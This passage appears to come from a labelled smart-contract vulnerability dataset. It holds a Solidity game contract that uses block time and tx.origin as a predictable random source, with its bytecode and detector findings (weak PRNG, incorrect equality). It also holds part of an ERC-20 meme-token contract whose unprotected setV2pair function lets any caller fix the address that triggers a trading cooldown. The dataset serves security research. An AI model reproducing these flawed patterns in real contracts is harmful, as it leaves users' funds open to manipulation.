function shapeAtom(uint _atomId, uint8 _level) external payable {
require(_level > 0 && _level < 5 && CaDataContract.atomOwner(_atomId) == msg.sender && mintedAtomFee[_level-1]/2 == msg.value);
CaDataAddress.transfer(msg.value);
CaDataContract.setAtomLev(_atomId, _level);
}
function mintAtom(uint8 _level) external payable {
require(_level > 0 && _level < 5 && mintedAtomFee[_level-1] == msg.value);
CaDataAddress.transfer(msg.value);
CaDataContract.incRandNonce();
uint64 randDna = uint64(keccak256(now, tx.origin, CaDataContract.randNonce())) % dnaModulus;
while(CaDataContract.dnaExist(randDna)==true)
{
CaDataContract.incRandNonce();
randDna = uint64(keccak256(now, tx.origin, CaDataContract.randNonce())) % dnaModulus;
}
uint id = _createAtom(randDna, 1, _level, 4-_level, dnaModulus, dnaModulus);
NewMintedAtom(tx.origin, id);
}
} | 0x6080604052600436106100c15763ffffffff60e060020a60003504166311faf6aa81146100c65780632ebd1e28146100f257806341c0e1b5146101135780634b2eb0f7146101285780636432e3cd14610159578063703f5e8a1461016e578063869c680e14610183578063a3ddf05a146101b7578063a94857dc146101ce578063aa17973c146101fb578063ad7bd08b14610210578063b57abb1b14610221578063ce9a10d614610248578063da834e6714610279578063f108898e1461029d575b600080fd5b3480156100d257600080fd5b506100f0600160a060020a03600435811690602435166044356102ab565b005b3480156100fe57600080fd5b506100f0600160a060020a03600435166103d1565b34801561011f57600080fd5b506100f06105b7565b34801561013457600080fd5b5061013d61064d565b60408051600160a060020a039092168252519081900360200190f35b34801561016557600080fd5b5061013d61065c565b34801561017a57600080fd5b5061013d61066b565b34801561018f57600080fd5b5061019b60043561067a565b604080516001608060020a039092168252519081900360200190f35b3480156101c357600080fd5b506100f060046106aa565b3480156101da57600080fd5b506101e9600435602435610872565b60408051918252519081900360200190f35b34801561020757600080fd5b506101e9610b1e565b6100f060043560ff60243516610f3f565b34801561022d57600080fd5b506100f06001608060020a036004351660ff60243516611125565b34801561025457600080fd5b50610260600435611345565b6040805163ffffffff9092168252519081900360200190f35b34801561028557600080fd5b506100f0600461190461320460ff614b043516611372565b6100f060ff60043516611639565b600160009054906101000a9004600160a060020a0316600160a060020a0316639c1fcc4c6040518163ffffffff1660e060020a028152600401602060405180830381600087803b1580156102fe57600080fd5b505af1158015610312573d6000803e3d6000fd5b505050506040513d602081101561032857600080fd5b5051600160a060020a0316331461033e57600080fd5b600254604080517f23de6651000000000000000000000000000000000000000000000000000000008152600160a060020a038681166004830152858116602483015260448201859052915191909216916323de665191606480830192600092919082900301818387803b1580156103b457600080fd5b505af11580156103c8573d6000803e3d6000fd5b50505050505050565b600160009054906101000a9004600160a060020a0316600160a060020a031663e1b27e6b6040518163ffffffff1660e060020a028152600401602060405180830381600087803b15801561042457600080fd5b505af1158015610438573d6000803e3d6000fd5b505050506040513d602081101561044e57600080fd5b5051600160a060020a03163314806104ec5750600160009054906101000a9004600160a060020a0316600160a060020a0316633d01bdec6040518163ffffffff1660e060020a028152600401602060405180830381600087803b1580156104b457600080fd5b505af11580156104c8573d6000803e3d6000fd5b505050506040513d60208110156104de57600080fd5b5051600160a060020a031633145b8061057d5750600160009054906101000a9004600160a060020a0316600160a060020a03166330d500bf6040518163ffffffff1660e060020a028152600401602060405180830381600087803b15801561054557600080fd5b505af1158015610559573d6000803e3d6000fd5b505050506040513d602081101561056f57600080fd5b5051600160a060020a031633145b151561058857600080fd5b6002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160009054906101000a9004600160a060020a0316600160a060020a0316633d01bdec6040518163ffffffff1660e060020a028152600401602060405180830381600087803b15801561060a57600080fd5b505af115801561061e573d6000803e3d6000fd5b505050506040513d602081101561063457600080fd5b5051600160a060020a0316331461064a57600080fd5b33ff5b600254600160a060020a031681565b600154600160a060020a031681565b600054600160a060020a031681565b6005816004811061068757fe5b60029182820401919006601002915054906101000a90046001608060020a031681565b600160009054906101000a9004600160a060020a0316600160a060020a031663e1b27e6b6040518163ffffffff1660e060020a028152600401602060405180830381600087803b1580156106fd57600080fd5b505af1158015610711573d6000803e3d6000fd5b505050506040513d602081101561072757600080fd5b5051600160a060020a03163314806107c55750600160009054906101000a9004600160a060020a0316600160a060020a0316633d01bdec6040518163ffffffff1660e060020a028152600401602060405180830381600087803b15801561078d57600080fd5b505af11580156107a1573d6000803e3d6000fd5b505050506040513d60208110156107b757600080fd5b5051600160a060020a031633145b806108565750600160009054906101000a9004600160a060020a0316600160a060020a03166330d500bf6040518163ffffffff1660e060020a028152600401602060405180830381600087803b15801561081e57600080fd5b505af1158015610832573d6000803e3d6000fd5b505050506040513d602081101561084857600080fd5b5051600160a060020a031633145b151561086157600080fd5b61086e6004826008612794565b5050565b6000806000806000806000806000600160009054906101000a9004600160a060020a0316600160a060020a0316639c1fcc4c6040518163ffffffff1660e060020a028152600401602060405180830381600087803b1580156108d357600080fd5b505af11580156108e7573d6000803e3d6000fd5b505050506040513d60208110156108fd57600080fd5b5051600160a060020a0316331461091357600080fd5b600154604080517ff315a94e000000000000000000000000000000000000000000000000000000008152600481018e90529051600160a060020a039092169163f315a94e91602480820192610140929091908290030181600087803b15801561097b57600080fd5b505af115801561098f573d6000803e3d6000fd5b505050506040513d6101408110156109a657600080fd5b810190808051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919050505090919293949550909192939450909192935090919250909150905050809650819850829a50505050600160009054906101000a9004600160a060020a0316600160a060020a031663f315a94e8b6040518263ffffffff1660e060020a0281526004018082815260200191505061014060405180830381600087803b158015610a9857600080fd5b505af1158015610aac573d6000803e3d6000fd5b505050506040513d610140811015610ac357600080fd5b50805160208201516040909201519098509095509250610ae586858786611aa9565b9150610af18888611b25565b9050610afd8b8b611e20565b610b0f81836001856003018f8f6122e4565b9b9a5050505050505050505050565b600080600160009054906101000a9004600160a060020a0316600160a060020a0316639c1fcc4c6040518163ffffffff1660e060020a028152600401602060405180830381600087803b158015610b7457600080fd5b505af1158015610b88573d6000803e3d6000fd5b505050506040513d6020811015610b9e57600080fd5b5051600160a060020a03163314610bb457600080fd5b600160009054906101000a9004600160a060020a0316600160a060020a031663b3cd95d36040518163ffffffff1660e060020a028152600401600060405180830381600087803b158015610c0757600080fd5b505af1158015610c1b573d6000803e3d6000fd5b50505050600260149054906101000a900467ffffffffffffffff1667ffffffffffffffff164232600160009054906101000a9004600160a060020a0316600160a060020a03166361e013566040518163ffffffff1660e060020a028152600401602060405180830381600087803b158015610c9557600080fd5b505af1158015610ca9573d6000803e3d6000fd5b505050506040513d6020811015610cbf57600080fd5b5051604080519384526c01000000000000000000000000600160a060020a0390931692909202602084015260348301525190819003605401902067ffffffffffffffff16811515610d0c57fe5b0690505b6001546040805160e060020a6318fde17d02815267ffffffffffffffff841660048201529051600160a060020a03909216916318fde17d916024808201926020929091908290030181600087803b158015610d6a57600080fd5b505af1158015610d7e573d6000803e3d6000fd5b505050506040513d6020811015610d9457600080fd5b5051151560011415610f0057600160009054906101000a9004600160a060020a0316600160a060020a031663b3cd95d36040518163ffffffff1660e060020a028152600401600060405180830381600087803b158015610df357600080fd5b505af1158015610e07573d6000803e3d6000fd5b50505050600260149054906101000a900467ffffffffffffffff1667ffffffffffffffff164232600160009054906101000a9004600160a060020a0316600160a060020a03166361e013566040518163ffffffff1660e060020a028152600401602060405180830381600087803b158015610e8157600080fd5b505af1158015610e95573d6000803e3d6000fd5b505050506040513d6020811015610eab57600080fd5b5051604080519384526c01000000000000000000000000600160a060020a0390931692909202602084015260348301525190819003605401902067ffffffffffffffff16811515610ef857fe5b069050610d10565b600254610f39908290600190819060049074010000000000000000000000000000000000000000900467ffffffffffffffff16806122e4565b91505090565b60008160ff16118015610f55575060058160ff16105b8015610ff95750600154604080517f5b92292f0000000000000000000000000000000000000000000000000000000081526004810185905290513392600160a060020a031691635b92292f9160248083019260209291908290030181600087803b158015610fc257600080fd5b505af1158015610fd6573d6000803e3d6000fd5b505050506040513d6020811015610fec57600080fd5b5051600160a060020a0316145b80156110545750346002600560ff6000198501166004811061101757fe5b600291828204019190066010029054906101000a90046001608060020a03166001608060020a031681151561104857fe5b046001608060020a0316145b151561105f57600080fd5b60008054604051600160a060020a03909116913480156108fc02929091818181858888f19350505050158015611099573d6000803e3d6000fd5b50600154604080517f2630d97d0000000000000000000000000000000000000000000000000000000081526004810185905260ff841660248201529051600160a060020a0390921691632630d97d9160448082019260009290919082900301818387803b15801561110957600080fd5b505af115801561111d573d6000803e3d6000fd5b505050505050565b600160009054906101000a9004600160a060020a0316600160a060020a031663e1b27e6b6040518163ffffffff1660e060020a028152600401602060405180830381600087803b15801561117857600080fd5b505af115801561118c573d6000803e3d6000fd5b505050506040513d60208110156111a257600080fd5b5051600160a060020a03163314806112405750600160009054906101000a9004600160a060020a0316600160a060020a0316633d01bdec6040518163ffffffff1660e060020a028152600401602060405180830381600087803b15801561120857600080fd5b505af115801561121c573d6000803e3d6000fd5b505050506040513d602081101561123257600080fd5b5051600160a060020a031633145b806112d15750600160009054906101000a9004600160a060020a0316600160a060020a03166330d500bf6040518163ffffffff1660e060020a028152600401602060405180830381600087803b15801561129957600080fd5b505af11580156112ad573d6000803e3d6000fd5b505050506040513d60208110156112c357600080fd5b5051600160a060020a031633145b15156112dc57600080fd5b60008160ff161180156112f2575060058160ff16105b15156112fd57600080fd5b81600560ff6000198401166004811061131257fe5b600291828204019190066010026101000a8154816001608060020a0302191690836001608060020a031602179055505050565b6004816008811061135257fe5b60089182820401919006600402915054906101000a900463ffffffff1681565b600154604080517fe1b27e6b0000000000000000000000000000000000000000000000000000000081529051600092600160a060020a03169163e1b27e6b91600480830192602092919082900301818787803b1580156113d157600080fd5b505af11580156113e5573d6000803e3d6000fd5b505050506040513d60208110156113fb57600080fd5b5051600160a060020a03163314806114995750600160009054906101000a9004600160a060020a0316600160a060020a0316633d01bdec6040518163ffffffff1660e060020a028152600401602060405180830381600087803b15801561146157600080fd5b505af1158015611475573d6000803e3d6000fd5b505050506040513d602081101561148b57600080fd5b5051600160a060020a031633145b8061152a5750600160009054906101000a9004600160a060020a0316600160a060020a03166330d500bf6040518163ffffffff1660e060020a028152600401602060405180830381600087803b1580156114f257600080fd5b505af1158015611506573d6000803e3d6000fd5b505050506040513d602081101561151c57600080fd5b5051600160a060020a031633145b151561153557600080fd5b60c860ff8316111561154657600080fd5b5060005b8160ff168160ff16101561163257600254600160a060020a03166323de66518660ff841660c8811061157857fe5b6020020135600160a060020a0316868460ff1660c88110151561159757fe5b6020020135600160a060020a0316868560ff1660c8811015156115b657fe5b6040805160e060020a63ffffffff8816028152600160a060020a039586166004820152939094166024840152602002013560448201529051606480830192600092919082900301818387803b15801561160e57600080fd5b505af1158015611622573d6000803e3d6000fd5b50506001909201915061154a9050565b5050505050565b60008060008360ff16118015611652575060058360ff16105b8015611698575034600560ff6000198601166004811061166e57fe5b600291828204019190066010029054906101000a90046001608060020a03166001608060020a0316145b15156116a357600080fd5b60008054604051600160a060020a03909116913480156108fc02929091818181858888f193505050501580156116dd573d6000803e3d6000fd5b50600160009054906101000a9004600160a060020a0316600160a060020a031663b3cd95d36040518163ffffffff1660e060020a028152600401600060405180830381600087803b15801561173157600080fd5b505af1158015611745573d6000803e3d6000fd5b50505050600260149054906101000a900467ffffffffffffffff1667ffffffffffffffff164232600160009054906101000a9004600160a060020a0316600160a060020a03166361e013566040518163ffffffff1660e060020a028152600401602060405180830381600087803b1580156117bf57600080fd5b505af11580156117d3573d6000803e3d6000fd5b505050506040513d60208110156117e957600080fd5b5051604080519384526c01000000000000000000000000600160a060020a0390931692909202602084015260348301525190819003605401902067ffffffffffffffff1681151561183657fe5b0691505b6001546040805160e060020a6318fde17d02815267ffffffffffffffff851660048201529051600160a060020a03909216916318fde17d916024808201926020929091908290030181600087803b15801561189457600080fd5b505af11580156118a8573d6000803e3d6000fd5b505050506040513d60208110156118be57600080fd5b5051151560011415611a2a57600160009054906101000a9004600160a060020a0316600160a060020a031663b3cd95d36040518163ffffffff1660e060020a028152600401600060405180830381600087803b15801561191d57600080fd5b505af1158015611931573d6000803e3d6000fd5b50505050600260149054906101000a900467ffffffffffffffff1667ffffffffffffffff164232600160009054906101000a9004600160a060020a0316600160a060020a03166361e013566040518163ffffffff1660e060020a028152600401602060405180830381600087803b1580156119ab57600080fd5b505af11580156119bf573d6000803e3d6000fd5b505050506040513d60208110156119d557600080fd5b5051604080519384526c01000000000000000000000000600160a060020a0390931692909202602084015260348301525190819003605401902067ffffffffffffffff16811515611a2257fe5b06915061183a565b600254611a66908390600190869060048290039074010000000000000000000000000000000000000000900467ffffffffffffffff16806122e4565b604080513281526020810183905281519293507ff360c4f8da2672fd3f8fdc82af18886c585ad6f40716c4269c05cb8b8a3eaf66929081900390910190a1505050565b60008260ff168560ff161415611acd575083600660ff858401161115611acd576001015b8260ff168560ff161015611aed575083600260ff85161115611aed576001015b8260ff168560ff161115611b0d575081600260ff83161115611b0d576001015b60048160ff161115611b1d575060045b949350505050565b60025460035460009160e060020a900461ffff169063ffffffff1682808060105b60008160ff161115611e1457600160009054906101000a9004600160a060020a0316600160a060020a031663b3cd95d36040518163ffffffff1660e060020a028152600401600060405180830381600087803b158015611ba557600080fd5b505af1158015611bb9573d6000803e3d6000fd5b505050504232600160009054906101000a9004600160a060020a0316600160a060020a03166361e013566040518163ffffffff1660e060020a028152600401602060405180830381600087803b158015611c1257600080fd5b505af1158015611c26573d6000803e3d6000fd5b505050506040513d6020811015611c3c57600080fd5b505160408051938452600160a060020a03929092166c010000000000000000000000000260208401526034830152516054918190039190910190209150600182161515611c8e57889350879250611c95565b8793508892505b8467ffffffffffffffff168267ffffffffffffffff16811515611cb457fe5b06858667ffffffffffffffff168567ffffffffffffffff16811515611cd557fe5b04020196508561ffff168467ffffffffffffffff16811515611cf357fe5b068661ffff168867ffffffffffffffff16811515611d0d57fe5b600254919006909803019667ffffffffffffffff740100000000000000000000000000000000000000009091048116908816811515611d4857fe5b6001546040805160e060020a6318fde17d0281529390920667ffffffffffffffff811660048501529151919950600160a060020a0316916318fde17d9160248083019260209291908290030181600087803b158015611da657600080fd5b505af1158015611dba573d6000803e3d6000fd5b505050506040513d6020811015611dd057600080fd5b5051151560011415611e075760088160ff161115611df35784600a029450611dfe565b600261ffff87160495505b60009650611e0b565b5060015b60001901611b46565b50505050505092915050565b600154604080517ff315a94e000000000000000000000000000000000000000000000000000000008152600481018590529051600092839283928392600160a060020a03169163f315a94e9160248083019261014092919082900301818787803b158015611e8d57600080fd5b505af1158015611ea1573d6000803e3d6000fd5b505050506040513d610140811015611eb857600080fd5b506060810151608090910151600154604080517ff315a94e000000000000000000000000000000000000000000000000000000008152600481018a90529051939750919450600160a060020a03169163f315a94e91602480820192610140929091908290030181600087803b158015611f3057600080fd5b505af1158015611f44573d6000803e3d6000fd5b505050506040513d610140811015611f5b57600080fd5b5060608101516080909101516001549194509150600160a060020a031663619a794d87600460ff881660088110611f8e57fe5b600891828204019190066004029054906101000a900463ffffffff1663ffffffff1642016040518363ffffffff1660e060020a028152600401808381526020018263ffffffff1663ffffffff16815260200192505050600060405180830381600087803b158015611ffe57600080fd5b505af1158015612012573d6000803e3d6000fd5b5050600154600160a060020a0316915063619a794d905086600460ff87166008811061203a57fe5b600891828204019190066004029054906101000a900463ffffffff1663ffffffff1642016040518363ffffffff1660e060020a028152600401808381526020018263ffffffff1663ffffffff16815260200192505050600060405180830381600087803b1580156120aa57600080fd5b505af11580156120be573d6000803e3d6000fd5b505060018054604080517f558225fc000000000000000000000000000000000000000000000000000000008152600481018c905292870163ffffffff16602484015251600160a060020a03909116935063558225fc9250604480830192600092919082900301818387803b15801561213557600080fd5b505af1158015612149573d6000803e3d6000fd5b505060018054604080517f558225fc000000000000000000000000000000000000000000000000000000008152600481018b905292860163ffffffff16602484015251600160a060020a03909116935063558225fc9250604480830192600092919082900301818387803b1580156121c057600080fd5b505af11580156121d4573d6000803e3d6000fd5b5050600154604080517ff630a468000000000000000000000000000000000000000000000000000000008152600481018b90526000602482018190529151600160a060020a03909316945063f630a46893506044808201939182900301818387803b15801561224257600080fd5b505af1158015612256573d6000803e3d6000fd5b5050600154604080517ff630a468000000000000000000000000000000000000000000000000000000008152600481018a90526000602482018190529151600160a060020a03909316945063f630a46893506044808201939182900301818387803b1580156122c457600080fd5b505af11580156122d8573d6000803e3d6000fd5b50505050505050505050565b6000610bb8600160009054906101000a9004600160a060020a0316600160a060020a03166318160ddd6040518163ffffffff1660e060020a028152600401602060405180830381600087803b15801561233c57600080fd5b505af1158015612350573d6000803e3d6000fd5b505050506040513d602081101561236657600080fd5b50511061237257600080fd5b6001546040805160e060020a6318fde17d02815267ffffffffffffffff8a1660048201529051600160a060020a03909216916318fde17d916024808201926020929091908290030181600087803b1580156123cc57600080fd5b505af11580156123e0573d6000803e3d6000fd5b505050506040513d60208110156123f657600080fd5b50511561240257600080fd5b600154604080517ffecadafd00000000000000000000000000000000000000000000000000000000815267ffffffffffffffff808b16600483015260ff808b166024840152808a1660448401528816606483015260006084830181905281881660a484015290861660c483015260e48201819052610104820181905261012482018190529151600160a060020a039093169263fecadafd9261014480840193602093929083900390910190829087803b1580156124be57600080fd5b505af11580156124d2573d6000803e3d6000fd5b505050506040513d60208110156124e857600080fd5b5051600154604080517f35d1f869000000000000000000000000000000000000000000000000000000008152600481018490523260248201529051929350600160a060020a03909116916335d1f8699160448082019260009290919082900301818387803b15801561255957600080fd5b505af115801561256d573d6000803e3d6000fd5b5050600154604080517fefbd63a900000000000000000000000000000000000000000000000000000000815232600482018190529151600160a060020a039093169450631cf91bf293509091849163efbd63a99160248083019260209291908290030181600087803b1580156125e257600080fd5b505af11580156125f6573d6000803e3d6000fd5b505050506040513d602081101561260c57600080fd5b50516040805160e060020a63ffffffff8616028152600160a060020a0390931660048401526001909101602483015251604480830192600092919082900301818387803b15801561265c57600080fd5b505af1158015612670573d6000803e3d6000fd5b505060018054604080517f75fe2cb800000000000000000000000000000000000000000000000000000000815267ffffffffffffffff8d166004820152602481019390935251600160a060020a0390911693506375fe2cb89250604480830192600092919082900301818387803b1580156126ea57600080fd5b505af11580156126fe573d6000803e3d6000fd5b5050600254604080517f23de6651000000000000000000000000000000000000000000000000000000008152600060048201819052326024830152604482018790529151600160a060020a0390931694506323de665193506064808201939182900301818387803b15801561277257600080fd5b505af1158015612786573d6000803e3d6000fd5b505050509695505050505050565b6001830191839082156128265791602002820160005b838211156127f457833563ffffffff1683826101000a81548163ffffffff021916908363ffffffff16021790555092602001926004016020816003010492830192600103026127aa565b80156128245782816101000a81549063ffffffff02191690556004016020816003010492830192600103026127f4565b505b50612832929150612836565b5090565b61285791905b8082111561283257805463ffffffff1916815560010161283c565b905600a165627a7a7230582093dab0c7b9937d33428216878d89d35c899f9b638445626deca0e3b496a293f70029 | {"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}} | 10,610 |
0x32d0b9534f656c71d02505687fcb39336ffce5e3 | /**
*Submitted for verification at Etherscan.io on 2021-07-07
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
/**
* @dev Implementation of the {IERC20} interface.
*
* Bingsu Inu - $BINGSU
* https://bingsu.finance/
* Telegram: https://t.me/BingsuInu
* Tokenomics
* 100,000,000,000
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract BINGSU is Context, IERC20 {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => uint256) private _cooldown;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply = 100 * 10**9 * 10**18;
string private _name = "Bingsu Inu";
string private _symbol = "BINGSU";
address private uniswapV2pair;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor() {
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(_cooldown[sender] < block.timestamp, "Cooldown not completed!");
if(uniswapV2pair != address(0)) {
if(sender == uniswapV2pair){
_cooldown[recipient] = block.timestamp+(10 minutes);
}
}
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = balanceOf(sender);
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance.sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
_afterTokenTransfer(sender, recipient, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = balanceOf(account);
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function setV2pair(address addr_) external{
if(uniswapV2pair == address(0)) {
uniswapV2pair = addr_;
}
}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
